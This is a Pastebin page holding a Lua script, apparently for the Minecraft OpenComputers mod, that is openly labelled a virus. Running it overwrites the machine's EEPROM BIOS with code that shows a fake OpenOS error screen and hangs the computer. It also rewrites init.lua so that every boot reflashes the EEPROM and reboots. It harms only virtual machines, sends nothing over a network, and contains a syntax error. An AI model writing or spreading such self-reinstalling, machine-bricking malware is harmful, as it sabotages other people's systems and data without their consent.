Advertisement
Guest User

jib,rf

a guest
Oct 18th, 2019
129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 8.57 KB | None | 0 0
  1.  
  2. local virusPath = "bin/virus.lua"
  3. local EEPROMLabel = "EEPROM (Lua BIOS)"
  4.  
  5. ------------------------------------------------------------------------------------------------------------------------
  6.  
  7. local EEPROMCode = [[
  8.  
  9. local textLines = {
  10.  "",
  11.   "You openos a detected Error",
  12.   "You openos has been stoped.",
  13.   "Please restart pc, Or error",
  14.   "no fixed, please resetup openos. ",
  15.   "Code: 0x00000003b",
  16.   "Russich language is avabible!",
  17.   "Russich language:",
  18.   "Опен ос обнаружила ошибку",
  19.   "И автомочитески стопнулась.",
  20.   "Пожалуйста, перезагрузите компьютер",
  21.   "или если ошибка не починилась,",
  22.   "пожалуйста, переустановите OpenOS."  
  23. }
  24.  
  25. local component_invoke = component.invoke
  26. function boot_invoke(address, method, ...)
  27.   local result = table.pack(pcall(component_invoke, address, method, ...))
  28.   if not result[1] then
  29.     return nil, result[2]
  30.   else
  31.     return table.unpack(result, 2, result.n)
  32.   end
  33. end
  34. ---------------------------------------------------------------
  35. local eeprom = component.list("eeprom")()
  36. computer.getBootAddress = function()
  37.   return boot_invoke(eeprom, "getData")
  38. end
  39. computer.setBootAddress = function(address)
  40.   return boot_invoke(eeprom, "setData", address)
  41. end
  42.  
  43. do
  44.   _G.screen = component.list("screen")()
  45.   _G.gpu = component.list("gpu")()
  46.   if gpu and screen then
  47.     boot_invoke(gpu, "bind", screen)
  48.   end
  49. end
  50. ---------------------------------------------------------------
  51.  
  52. local function centerText(mode,coord,text)
  53.   local dlina = unicode.len(text)
  54.   local xSize,ySize = boot_invoke(gpu, "getResolution")
  55.  
  56.   if mode == "x" then
  57.     boot_invoke(gpu, "set", math.floor(xSize/2-dlina/2),coord,text)
  58.   elseif mode == "y" then
  59.     boot_invoke(gpu, "set", coord, math.floor(ySize/2),text)
  60.   else
  61.     boot_invoke(gpu, "set", math.floor(xSize/2-dlina/2),math.floor(ySize/2),text)
  62.   end
  63. end
  64.  
  65. local function virus()
  66.   local background, foreground = 332480, FFFFFF`
  67.   local xSize, ySize = boot_invoke(gpu, "getResolution")
  68.   boot_invoke(gpu, "setBackground", background)
  69.   boot_invoke(gpu, "fill", 1, 1, xSize, ySize, " ")
  70.  
  71.   boot_invoke(gpu, "setBackground", foreground)
  72.   boot_invoke(gpu, "setForeground", background)
  73.  
  74.   local y = math.floor(ySize / 2 - (#textLines + 2) / 2)
  75.   centerText("x", y, " Error OpenOS. ")
  76.   y = y + 2
  77.  
  78.   boot_invoke(gpu, "setBackground", background)
  79.   boot_invoke(gpu, "setForeground", foreground)
  80.  
  81.   for i = 1, #textLines do
  82.     centerText("x", y, textLines[i])
  83.     y = y + 1
  84.   end
  85.  
  86.   while true do
  87.     computer.pullSignal()
  88.   end
  89. end
  90.  
  91. if gpu then virus() end
  92. ]]
  93.  
  94. local INITCode = [[
  95.  
  96. local backgroundColor = 332480
  97. local foregroundColor = 332480
  98.  
  99. do
  100.  
  101.   _G._OSVERSION = "OpenOS 1.5"
  102.  
  103.   local component = component
  104.   local computer = computer
  105.   local unicode = unicode
  106.  
  107.   -- Runlevel information.
  108.   local runlevel, shutdown = "S", computer.shutdown
  109.   computer.runlevel = function() return runlevel end
  110.   computer.shutdown = function(reboot)
  111.     runlevel = reboot and 6 or 0
  112.     if os.sleep then
  113.       computer.pushSignal("shutdown")
  114.       os.sleep(0.1) -- Allow shutdown processing.
  115.     end
  116.     shutdown(reboot)
  117.   end
  118.  
  119.   -- Low level dofile implementation to read filesystem libraries.
  120.   local rom = {}
  121.   function rom.invoke(method, ...)
  122.     return component.invoke(computer.getBootAddress(), method, ...)
  123.   end
  124.   function rom.open(file) return rom.invoke("open", file) end
  125.   function rom.read(handle) return rom.invoke("read", handle, math.huge) end
  126.   function rom.close(handle) return rom.invoke("close", handle) end
  127.   function rom.inits() return ipairs(rom.invoke("list", "boot")) end
  128.   function rom.isDirectory(path) return rom.invoke("isDirectory", path) end
  129.  
  130.   local screen = component.list('screen',true)()
  131.   for address in component.list('screen',true) do
  132.     if #component.invoke(address, 'getKeyboards') > 0 then
  133.       screen = address
  134.     end
  135.   end
  136.  
  137.   -- Report boot progress if possible.
  138.   local gpu = component.list("gpu", true)()
  139.   local w, h
  140.   if gpu and screen then
  141.     component.invoke(gpu, "bind", screen)
  142.     w, h = component.invoke(gpu, "getResolution")
  143.     component.invoke(gpu, "setResolution", w, h)
  144.     component.invoke(gpu, "setBackground", backgroundColor)
  145.     component.invoke(gpu, "setForeground", foregroundColor)
  146.     component.invoke(gpu, "fill", 1, 1, w, h, " ")
  147.   end
  148.   local y = 1
  149.   local function status(msg)
  150.  
  151.  
  152.     local yPos = math.floor(h / 2)
  153.     local length = #msg
  154.     local xPos = math.floor(w / 2 - length / 2)
  155.  
  156.     component.invoke(gpu, "fill", 1, yPos, w, 1, " ")
  157.     component.invoke(gpu, "set", xPos, yPos, msg)
  158.  
  159.     -- if gpu and screen then
  160.     --   component.invoke(gpu, "set", 1, y, msg)
  161.     --   if y == h then
  162.     --     component.invoke(gpu, "copy", 1, 2, w, h - 1, 0, -1)
  163.     --     component.invoke(gpu, "fill", 1, h, w, 1, " ")
  164.     --   else
  165.     --     y = y + 1
  166.     --   end
  167.     -- end
  168.   end
  169.  
  170.   status("Booting " .. _OSVERSION .. "...")
  171.  
  172.   -- Custom low-level loadfile/dofile implementation reading from our ROM.
  173.   local function loadfile(file)
  174.     status("> " .. file)
  175.     local handle, reason = rom.open(file)
  176.     if not handle then
  177.       error(reason)
  178.     end
  179.     local buffer = ""
  180.     repeat
  181.       local data, reason = rom.read(handle)
  182.       if not data and reason then
  183.         error(reason)
  184.       end
  185.       buffer = buffer .. (data or "")
  186.     until not data
  187.     rom.close(handle)
  188.     return load(buffer, "=" .. file)
  189.   end
  190.  
  191.   local function dofile(file)
  192.     local program, reason = loadfile(file)
  193.     if program then
  194.       local result = table.pack(pcall(program))
  195.       if result[1] then
  196.         return table.unpack(result, 2, result.n)
  197.       else
  198.         error(result[2])
  199.       end
  200.     else
  201.       error(reason)
  202.     end
  203.   end
  204.  
  205.   status("Initializing package management...")
  206.  
  207.   -- Load file system related libraries we need to load other stuff moree
  208.   -- comfortably. This is basically wrapper stuff for the file streams
  209.   -- provided by the filesystem components.
  210.   local package = dofile("/lib/package.lua")
  211.  
  212.   do
  213.     -- Unclutter global namespace now that we have the package module.
  214.     --_G.component = nil
  215.     _G.computer = nil
  216.     _G.process = nil
  217.     _G.unicode = nil
  218.  
  219.     -- Initialize the package module with some of our own APIs.
  220.     package.preload["buffer"] = loadfile("/lib/buffer.lua")
  221.     package.preload["component"] = function() return component end
  222.     package.preload["computer"] = function() return computer end
  223.     package.preload["filesystem"] = loadfile("/lib/filesystem.lua")
  224.     package.preload["io"] = loadfile("/lib/io.lua")
  225.     package.preload["unicode"] = function() return unicode end
  226.  
  227.     -- Inject the package and io modules into the global namespace, as in Lua.
  228.     _G.package = package
  229.     _G.io = require("io")
  230.        
  231.   end
  232.  
  233.   status("Initializing file system...")
  234.  
  235.   -- Mount the ROM and temporary file systems to allow working on the file
  236.   -- system module from this point on.
  237.   local filesystem = require("filesystem")
  238.   filesystem.mount(computer.getBootAddress(), "/")
  239.  
  240.   status("Running boot scripts...")
  241.  
  242.   -- Run library startup scripts. These mostly initialize event handlers.
  243.   local scripts = {}
  244.   for _, file in rom.inits() do
  245.     local path = "boot/" .. file
  246.     if not rom.isDirectory(path) then
  247.       table.insert(scripts, path)
  248.     end
  249.   end
  250.   table.sort(scripts)
  251.   for i = 1, #scripts do
  252.     dofile(scripts[i])
  253.   end
  254.  
  255.   status("Initializing components...")
  256.  
  257.   local primaries = {}
  258.   for c, t in component.list() do
  259.     local s = component.slot(c)
  260.     if (not primaries[t] or (s >= 0 and s < primaries[t].slot)) and t ~= "screen" then
  261.       primaries[t] = {address=c, slot=s}
  262.     end
  263.     computer.pushSignal("component_added", c, t)
  264.   end
  265.   for t, c in pairs(primaries) do
  266.     component.setPrimary(t, c.address)
  267.   end
  268.   os.sleep(0.5) -- Allow signal processing by libraries.
  269.   --computer.pushSignal("init") -- so libs know components are initialized.
  270.  
  271.  -- status("Initializing system...")
  272.   --require("term").clear()
  273.   os.sleep(0.1) -- Allow init processing.
  274.   runlevel = 1
  275. end
  276. ]]
  277.  
  278. local component = require("component")
  279. local args = { ... }
  280.  
  281. local function flashEEPROM()
  282.   local eeprom = component.getPrimary("eeprom")
  283.   eeprom.set(EEPROMCode)
  284.   eeprom.setLabel(EEPROMLabel)
  285. end
  286.  
  287. local function rewriteInit()
  288.   local file = io.open("init.lua", "w")
  289.   file:write(INITCode, "\n", "\n")
  290.   file:write("pcall(loadfile(\"" .. virusPath .. "\"), \"flashEEPROM\")", "\n", "\n")
  291.   file:write("require(\"computer\").shutdown(true)")
  292.   file:close()
  293. end
  294.  
  295. if args[1] == "flashEEPROM" then
  296.   flashEEPROM()
  297. else
  298.   print("OpenOS Detected error,")
  299.   flashEEPROM()
  300.   print("And OpenOS Stoped.")
  301.   rewriteInit()
  302.   print("To Help channel: TravisWalker")
  303. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement